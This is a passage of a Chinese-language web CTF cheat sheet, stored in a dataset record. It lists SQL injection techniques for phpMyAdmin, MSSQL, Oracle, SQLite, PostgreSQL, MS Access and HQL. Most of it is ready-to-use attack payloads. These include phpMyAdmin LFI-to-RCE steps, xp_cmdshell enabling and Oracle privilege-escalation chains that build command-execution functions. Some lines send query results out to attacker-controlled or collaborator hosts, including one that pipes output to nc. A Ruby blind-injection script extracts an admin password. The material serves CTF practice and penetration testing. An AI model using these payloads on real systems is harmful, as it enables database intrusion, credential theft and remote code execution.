LFI to RCE\n        - 條件\n            - 能登入後台\n        - step1. `CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '\u003C?php phpinfo(); ?>';`\n        - step2. `\u002Fchk_rel.php?fixall_pmadb=1&db=foo`\n        - step3. ```INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002Fsess_{SESSIONID}','plop';```\n        - step4. `\u002Ftbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1`\n    - CVE-2018-12613\n        - phpMyAdmin versions: 4.8.x\n        - LFI to RCE\n        - 條件\n            - 能登入後台\n        - Payload\n            - `index.php?target=db_sql.php%253f\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fwindows\u002Fsystem.ini`\n            - `index.php?target=sql.php%253f\u002F..\u002F..\u002F..\u002Ftmp\u002Ftmp\u002Fsess_16rme70p2qqnqjnhdiq3i6unu`\n                - 在控制台執行的 sql 語句會被寫入 session\n                - Session id 可以從 cookie `phpMyAdmin` 得到\n    - CVE-2016-5734\n        - phpmyadmin versions:\n            - 4.0.10.16 之前的4.0.x版本\n            - 4.4.15.7 之前的 4.4.x版本\n            - 4.6.3之前的 4.6.x版本\n        - php version:\n            - 4.3.0 ~ 5.4.6\n        - `preg_replace` RCE\n        - 條件\n            - 能登入後台\n    - CVE-2014-8959\n        - phpMyAdmin version:\n            - 4.0.1 ~ 4.2.12\n        - php version:\n            - \u003C 5.3.4\n        - 條件\n            - 能登入後台\n            - 能截斷\n        - Payload: `gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=\u002F..\u002F..\u002F..\u002F..\u002Fphpinfo.txt%00` (需修改token)\n    - CVE-2013-3238\n        - versions: 3.5.x \u003C 3.5.8.1 and 4.0.0 \u003C 4.0.0-rc3 ANYUN.ORG\n        - https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F25136\n    - CVE-2012-5159\n        - versions: v3.5.2.2\n        - server_sync.php Backdoor\n        - https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F21834\n    - CVE-2009-1151\n        - versions: 2.11.x \u003C 2.11.9.5 and 3.x \u003C 3.1.3.1\n        - config\u002Fconfig.inc.php 命令執行\n        - https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F8921\n    - 弱密碼 \u002F 萬用密碼\n        - phpmyadmin 2.11.9.2: root\u002F空密碼\n        - phpmyadmin 2.11.3 \u002F 2.11.4: 用戶名: `'localhost'@'@\"`\n\n## MSSQL\n\n- 子字串：\n    - `SUBSTRING(\"abc\", 1, 1) => 'a'`\n- Ascii function\n    - `ascii('A') => 65 `\n- Char function\n    - `char(65) => 'a'`\n- Concatenation\n    - `+`\n    - `'a'+'b' => 'ab'`\n- Delay function\n    - `WAITFOR DELAY '0:0:10'`\n- 空白字元\n    - `01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`\n- IF 語句\n    - IF condition true-part ELSE false-part\n    - `IF (1=1) SELECT 'true' ELSE SELECT 'false'`\n- 註解：\n    - `--`\n    - `\u002F**\u002F`\n- TOP\n    - MSSQL 沒有 `LIMIT N, M` 的用法\n    - `SELECT TOP 87 * FROM xxx` 取最前面 87 筆\n    - 取第 78~87 筆\n        - `SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87`\n- 其它：\n    - user\n    - db_name()\n    - user_name()\n    - @@version\n    - @@language\n    - @@servername\n    - host_name()\n    - has_dbaccess('master')\n- 查詢用戶 \n    - `select name, loginame from master..syslogins, master..sysprocesses`\n- 查用戶密碼 \n    - `select user,password from master.dbo.syslogins`\n- 當前角色是否為資料庫管理員\n    - `SELECT is_srvrolemember('sysadmin')`\n- 當前角色是否為db_owner\n    - `SELECT IS_MEMBER('db_owner')`\n- 爆DB name\n    - ```DB_NAME(N)```\n    - ```UNION SELECT NULL,DB_NAME(N),NULL--```\n    - ```UNION SELECT NULL,name,NULL FROM master ..sysdatabases--```\n    - `SELECT catalog_name FROM information_schema.schemata`\n    - ```1=(select name from master.dbo.sysdatabases where dbid=5)```\n- 爆表名\n    - `SELECT table_catalog, table_name FROM information_schema.tables`\n    - `SELECT name FROM sysobjects WHERE xtype='U'`\n    - `ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--`\n\n- 爆column\n    - `SELECT table_catalog, table_name, column_name FROM information_schema.columns`\n    - `SELECT name FROM syscolumns WHERE id=object_id('news')`\n    - `ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--`\n    - `SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')`\n\n- 一次性獲取全部資料\n    - `select quotename(name) from master..sysdatabases FOR XML PATH('')`\n    - `select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto`\n- Union Based\n    - Column 型態必須相同\n    - 可用`NULL`來避免\n- Error Based\n    - 利用型別轉換錯誤\n    - `id=1 and user=0`\n- Out of Band\n    - `declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree \"\u002F\u002F'+@p+'.oob.kaibro.tw\u002Fa\"')`\n    - `fn_xe_file_target_read_file('C:\\*.xel','\\\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\\1.xem',null,null)`\n        - Requires VIEW SERVER STATE permission on the server\n    - `fn_get_audit_file('\\\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\\',default,default)`\n        - Requires the CONTROL SERVER permission.\n    - `fn_trace_gettable('\\\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)`\n        - Requires the CONTROL SERVER permission.\n- 判斷是否站庫分離\n    - 客戶端主機名: `select host_name();`\n    - 服務端主機名: `select @@servername;`\n    - 兩者不同即站庫分離\n\n- 讀檔\n    - `select x from OpenRowset(BULK 'C:\\Windows\\win.ini',SINGLE_CLOB) R(x)`\n\n- xp_cmdshell\n    - 在 MSSQL 2000 默認開啟\n    - MSSQL 2005 之後默認關閉\n    - 有 sa 權限，可透過 sp_configure 重啟它\n    \n    ```\n    EXEC sp_configure 'show advanced options',1\n    RECONFIGURE \n    EXEC sp_configure 'xp_cmdshell',1\n    RECONFIGURE\n    ```\n\n    - 執行 command\n        - `exec xp_cmdshell 'whoami'`\n\n    - 關閉xp_cmdshell\n    \n    ```\n    EXEC sp_configure 'show advanced options', 1;\n    RECONFIGURE;\n    EXEC sp_configure'xp_cmdshell', 0;\n    RECONFIGURE;\n    ```\n\n- 快速查找帶關鍵字的表\n    - `SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');`\n\n\n- 繞 WAF\n    - Non-standard whitespace character:\n        - `1%C2%85union%C2%85select%C2%A0null,@@version,null--`\n    - 混淆 UNION\n        - `0eunion+select+null,@@version,null--`\n    - Unicode 繞過\n        - IIS 對 Unicode 編碼是可以解析的，即 `s%u0065lect` 會被解析為 select\n\n## Oracle\n\n- `SELECT` 語句必須包含 `FROM`\n    - 未指定來源，可以用 `dual` 表\n- 子字串：\n    - `SUBSTR('abc', 1, 1) => 'a'`\n- 空白字元\n    - `00 0A 0D 0C 09 20`\n- IF語句\n    - `IF condition THEN true-part [ELSE false-part] END IF`\n- 註解：\n    - `--`\n    - `\u002F**\u002F`\n- 不支援 limit\n    - 改用 rownum\n    - `select table_name from (select rownum no, table_name from all_tables) where no=1`\n- 單雙引號\n    - 單引號: string, date\n    - 雙引號: identifier (table name, column name, ...)\n- 其它\n    - `SYS.DATABASE_NAME`\n        - current database\n    - `USER`\n        - current user\n        - or `sys.login_user`\n    - `SELECT role FROM session_roles`\n        - current role\n    - `SELECT privilege FROM user_sys_privs`\n        - system privileges granted to the current user\n    - `SELECT privilege FROM role_sys_privs`\n        - privs the current role has\n    - `SELECT privilege FROM session_privs`\n        - the all privs that current user has = user_sys_privs + role_sys_privs\n    - `SELECT banner FROM v$version where rownum=1`\n        - database version\n    - `SELECT host_name FROM v$instance;`\n        - Name of the host machine\n    - `SELECT banner FROM v$version WHERE banner LIKE 'TNS%'`\n        - 作業系統版本\n    - `utl_inaddr.get_host_address`\n        - 本機IP\n    - `select utl_inaddr.get_host_name('87.87.87.87') from dual`\n        - IP反解\n    - `dba_tables`\n        - 系統所有表資訊，需要 dba 權限\n    - `user_tables`\n        - 當前使用者名下表的資訊\n- 庫名(schema)\n    - `SELECT DISTINCT OWNER FROM ALL_TABLES`\n- 表名\n    - `SELECT OWNER, TABLE_NAME FROM ALL_TABLES`\n- Column\n    - `SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS`\n- Union Based\n    - Column 型態必須相同\n    - 可用 `NULL` 來避免錯誤\n    - `UNION SELECT 1, 'aa', null FROM dual`\n- Time Based\n    - `dbms_pipe.receive_message(('a'),10)`\n        - `SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`\n- Error Based\n    - `CTXSYS.DRITHSX.SN`\n        - `SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1`\n    - `utl_inaddr.get_host_name`\n        - `and 1=utl_inaddr.get_host_name((SQL in HERE))`\n        - 版本 >=11g，需要超級用戶或授予網路權限的用戶才能用\n    - `dbms_xdb_version.checkin`\n        - `and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null`\n    - `dbms_xdb_version.makeversioned`\n        - `and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null`\n    - `dbms_xdb_version.uncheckout`\n        - `and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null`\n    - `dbms_utility.sqlid_to_sqlhash`\n        - `and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null`\n- Out of band\n    - `UTL_HTTP.request('http:\u002F\u002Fkaibro.tw\u002F'||(select user from dual))=1`\n    - `SYS.DBMS_LDAP.INIT()`\n    - `utl_inaddr.get_host_address()`\n    - `HTTPURITYPE`\n        - `SELECT HTTPURITYPE('http:\u002F\u002F30cm.club\u002Findex.php').GETCLOB() FROM DUAL;`\n    - `extractvalue()` XXE\n        - `SELECT extractvalue(xmltype('\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\u003C!DOCTYPE root [ \u003C!ENTITY % remote SYSTEM \"http:\u002F\u002F'||(SELECT xxxx)||'.oob.kaibro.tw\u002F\"> %remote;]>'),'\u002Fl') FROM dual`\n        - 新版已 patch\n- users\n    - `select username from all_users`\n        - lists all users of the database\n    - `select name, password from sys.user$`\n    - `select username,password,account_status from dba_users`\n- Java source\n    - 可以創建 Java 源碼並存成 Oracle 物件\n    - `CREATE JAVA SOURCE NAMED \"xxxx\" AS \u003CJava Code>`\n- Code execution\n    - load lib\n        - `create or replace library lib_evil as '\u002Fhome\u002Foracle\u002Fevil.so';`\n        - `create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name \"cmd\";`\n        - `select cmd('whoami') from dual;`\n    - `dbms_java.runjava`\n        - `dbms_java.runjava('com\u002Fsun\u002Ftools\u002Fscript\u002Fshell\u002FMain -e \"var p = java.lang.Runtime.getRuntime().exec(''$cmd'');\"')`\n    - `DBMS_JAVA_TEST.FUNCALL`\n        - `SELECT DBMS_JAVA_TEST.FUNCALL('oracle\u002Faurora\u002Futil\u002FWrapper','main','\u002Fusr\u002Fbin\u002Fbash','-c','\u002Fbin\u002Fls|\u002Fusr\u002Fbin\u002Fnc 1.2.3.4 1234') FROM DUAL;`\n    - `DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES`\n        - 利用 PL\u002FSQL Injection 提權\n        - 影響版本: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2\n        ```sql\n        -- 提權\n        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual\n        -- 建立java command\n        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named \"Command\" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb=\"\";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+\"\\n\";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual\n        -- 賦予java執行權限\n        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''\u003C\u003CALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual\n        -- 創建函數\n        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual\n        -- 賦予函數執行權限\n        select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual\n        -- 執行指令\n        select sys.cmd('cmd.exe \u002Fc whoami') from dual\n        ```\n    - `dbms_xmlquery.newcontext`\n        - 執行多語句\n        - 影響版本: oracle 10g, 11g 等，高版本已修復\n        ```sql\n        select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;\n\n        select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;\n\n        select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';\n\n        select LINXRUNCMD('whoami') from dual;\n        ```\n- 特殊用法\n    - `DBMS_XMLGEN.getXML('select user from dual')`\n\n## SQLite\n\n- 子字串：\n    - `substr(“abc\",1,1)   =>   'a'`\n- Ascii function:\n    - `unicode('d') => 100`\n- legth\n    - `length('ab') => 2`\n- Concatenation\n    - `||`\n    - `'a' || 'b' => 'ab'` \n- Time Delay\n    - `randomblob(100000000)`\n- 空白字元\n    - `0A 0D 0C 09 20`\n- Case when\n    - SQLite 沒有 `if`\n    - 可以用 `Case When ... Then ...` 代替\n    - `case when (條件) then ... else ... end`\n- 註解\n    - `--`\n- 爆表名\n    - `SELECT name FROM sqlite_master WHERE type='table'`\n- 爆表結構(含 Column)\n    - `SELECT sql FROM sqlite_master WHERE type='table'`\n- 其他\n    - `sqlite_version()`\n    - sqlite 無法使用 `\\'` 跳脫單引號\n    - `[]` 神奇用法\n        - `CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;`\n            - CREATE TABLE 後面也能接 SELECT condition\n        - [zer0pts CTF 2020 - phpNantokaAdmin](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fzer0pts2020\u002FphpNantokaAdmin)\n- Boolean Based: SECCON 2017 qual SqlSRF\n\n\u003Cdetails>\n    \u003Csummary>\u003Cb>Click here to view script\u003C\u002Fb>\u003C\u002Fsummary>\n\n```ruby\n# encoding: UTF-8\n\n# sqlite injection (POST method) (二分搜)\n# SECCON sqlsrf爆admin密碼 \nrequire 'net\u002Fhttp'\nrequire 'uri'\n\n$url = 'http:\u002F\u002Fsqlsrf.pwn.seccon.jp\u002Fsqlsrf\u002Findex.cgi'\n$ans = ''\n\n(1..100).each do |i|\n    l = 48\n    r = 122\n\n    while(l \u003C= r)\n        #puts \"left: #{l}, right: #{r}\"\n        break if l == r\n\n        mid = ((l + r) \u002F 2)\n        $query = \"kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1\"\n        \n        res = Net::HTTP.post_form URI($url), {\"user\" => $query, \"pass\" => \"kaibro\", \"login\" => \"Login\"}\n        \n        if res.body.include? 'document.location'\n            l = mid + 1\n        else\n            r = mid\n        end\n\n    end\n    $ans += l.chr\n    puts $ans\n\nend\n\n```\n\n\u003C\u002Fdetails>\n\n## PostgreSQL\n\n- 子字串\n    - `substr(\"abc\", 1, 1) => 'a'`\n- Ascii function\n    - `ascii('x') => 120`\n- Char function\n    - `chr(65) => A`\n- Concatenation\n    - `||`\n    - `'a' || 'b' => 'ab'`\n- Delay function\n    - `pg_sleep(5)`\n    - `GENERATE_SERIES(1, 1000000)`\n    - `repeat('a', 10000000)`\n- 空白字元\n    - `0A 0D 0C 09 20`\n- encode \u002F decode\n    - `encode('123\\\\000\\\\001', 'base64')` => `MTIzAAE=`\n    - `decode('MTIzAAE=', 'base64')` => `123\\000\\001`\n- 不支援limit N, M\n    - `limit a offset b` 略過前 b 筆，抓出 a 筆出來\n- 註解\n    - `--`\n    - `\u002F**\u002F`\n- $$ 取代引號\n    - `SELECT $$This is a string$$`\n- 爆庫名\n    - `SELECT datname FROM pg_database`\n- 爆表名\n    - `SELECT tablename FROM pg_tables WHERE schemaname='dbname'`\n- 爆Column\n    - `SELECT column_name FROM information_schema.columns WHERE table_name='admin'`\n- Dump all \n    - `array_to_string(array(select userid||':'||password from users),',')`\n- 列舉 privilege\n    - `SELECT * FROM pg_roles;`\n- 列舉用戶 hash\n    - `SELECT usename, passwd FROM pg_shadow`\n- RCE\n    - CVE-2019–9193\n        - 在 9.3 版本實作了 `COPY TO\u002FFROM PROGRAM`\n        - 版本 9.3 ~ 11.2 預設啟用\n        - 讓 super user 和任何在 `pg_read_server_files` 群組的 user 可以執行任意指令\n        - 方法\n            - `DROP TABLE IF EXISTS cmd_exec;`\n            - `CREATE TABLE cmd_exec(cmd_output text);`\n            - `COPY cmd_exec FROM PROGRAM 'id';`\n            - `SELECT * FROM cmd_exec;`\n    - 版本 8.2 以前\n        - `CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6', 'system' LANGUAGE 'c' STRICT;`\n        - `select system('id');`\n    - UDF\n        - sqlmap udf: https:\u002F\u002Fgithub.com\u002Fsqlmapproject\u002Fsqlmap\u002Ftree\u002Fmaster\u002Fdata\u002Fudf\u002Fpostgresql\n        - `CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '\u002Fxxx\u002Fcmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;`\n        - `SELECT sys_eval(\"id\");`\n- 其它\n    - version()\n    - current\\_database()\n    - user\n        - current_user\n        - `SELECT usename FROM pg_user;`\n    - getpgusername()\n    - current\\_schema\n    - current\\_query()\n    - inet\\_server\\_addr()\n    - inet\\_server\\_port()\n    - inet\\_client\\_addr()\n    - inet\\_client\\_port()\n    - type conversion\n        - `cast(count(*) as text)`\n    - `md5('abc')`\n    - `replace('abcdefabcdef', 'cd', 'XX')` => `abXXefabXXef`\n    - `pg_read_file(filename, offset, length)`\n        - 讀檔\n        - 只能讀 data_directory 下的\n    - `pg_ls_dir(dirname)`\n        - 列目錄內容\n        - 只能列 data_directory 下的\n    - PHP 的 `pg_query()` 可以多語句執行\n    - `lo_import()`, `lo_get()` 讀檔\n        - `select cast(lo_import('\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\u002Fsecret') as text)` => `18440`\n        - `select cast(lo_get(18440) as text)` => `secret_here`\n\n## MS Access\n\n- 沒有註解\n    - 某些情況可以用 `%00`, `%16` 來達到類似效果\n- 沒有 Stacked Queries\n- 沒有 Limit\n    - 可以用 `TOP`, `LAST` 取代\n    - `'UNION SELECT TOP 5 xxx FROM yyy%00`\n- 沒有 Sleep, Benchmark, ...\n- 支援 Subquery\n    - `'AND (SELECT TOP 1 'xxx' FROM table)%00`\n- 在 subquery 或 Union select 時，需要指定 `FROM` \n- String Concatenation\n    - `&` (`%26`)\n    - `+` (`%2B`)\n    - `'UNION SELECT 'aa' %2b 'bb' FROM table%00`\n- Ascii Function\n    - `ASC()`\n    - `'UNION SELECT ASC('A') FROM table%00`\n- Substring Function\n    - `Mid()`\n    - `Mid('admin',1,1)`\n- IF THEN\n    - `IFF(condition, true, false)`\n    - `'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00`\n- Ref\n    - https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fsql-injection\u002Fms-access-sql-injection\n\n## ORM injection\n\n\n- Hibernate\n    - 不支援 UNION 語法\n    - 單引號跳脫法\n        - MySQL 中，單引號用 `\\'` 跳脫\n        - HQL 中，用兩個單引號 `''` 跳脫\n        - `'abc\\''or 1=(SELECT 1)--'`\n            - 在 HQL 是一個字串\n            - 在 MySQL 是字串+額外 SQL 語句\n    - Magic Function 法\n        - PostgreSQL 中內建 `query_to_xml('Arbitary SQL')`\n        - Oracle 中有 `dbms_xmlgen.getxml('SQL')`\n    - Java Constants\n        - 可以從 classpath 中去找 constant 來用\n        - 例如 `ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR` 在 MySQL 層就會被解成單引號 (在 HQL 層則不是)\n        - Example: DEVCORE Wargame 2024 - Spring\n            - `\u002Fa'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a`\n                - HQL: 等同 `\u002Fa'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a`\n                - MySQL: 等同 `\u002Fa'*length('a')*'[shit]'-- [shit]`\n        - 常見 Constants:\n            - `org.apache.batik.util.XMLConstants.XML_CHAR_APOS`\n            - `com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE`\n            - `jodd.util.StringPool.SINGLE_QUOTE`\n            - `ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR`\n            - `cz.vutbr.web.csskit.OutputUtil.STRING_OPENING`\n            - `com.sun.java.help.impl.DocPConst.QUOTE`\n            - `org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE`\n            - `org.apache.logging.log4j.util.Chars.QUOTE`\n    - Reference\n        - https:\u002F\u002Fwww.slideshare.net\u002F0ang3el\u002Fnew-methods-for-exploiting-orm-injections-in-java-applications\n        - https:\u002F\u002Fwww.slideshare.net\u002Fslideshow\u002Fnew-methods-for-exploiting-orm-injections-in-java-applications\u002F62514298\n\nHQL injection example (pwn2win 2017)\n\n- ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)```\n    - Output: `ERROR: could not stat file \"flag\": No such file or directory`\n\n- ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)```\n    - Output: `ERROR: could not stat file \"secret\": No such file or directory`\n- `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)`\n    - Output: `ERROR: could not stat file \"CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}\": No such file or directory`\n\n\n## SQL Injection with MD5\n\n- `$sql = \"SELECT * FROM admin WHERE pass = '\".md5($password, true).\"'\";`\n- ffifdyop\n    - md5: `276f722736c95d99e921722cf9ed621c`\n    - to string: `'or'6\u003Ctrash>`\n\n## HTTP Parameter Pollution\n\n- `id=1&id=2&id=3`\n    - ASP.NET + IIS: `id=1,2,3`\n    - ASP + IIS: `id=1,2,3`\n    - PHP + Apache: `","该项目是一个Web CTF（夺旗赛）的备忘单，旨在帮助安全研究人员和爱好者快速查找和使用各种Web安全测试技巧。它详细列出了包括Webshell、反向Shell、命令注入、SQL注入等在内的多种攻击方法和技术细节，并且涵盖了PHP、Python、Ruby等多种编程语言相关的漏洞利用方式。此外，还提供了关于LFI、文件上传漏洞、序列化与反序列化攻击、模板注入以及前端安全问题等方面的指导。特别适合于网络安全培训、CTF比赛准备或是对Web应用程序进行渗透测试时参考使用。","2026-06-11 03:14:56","top_language"]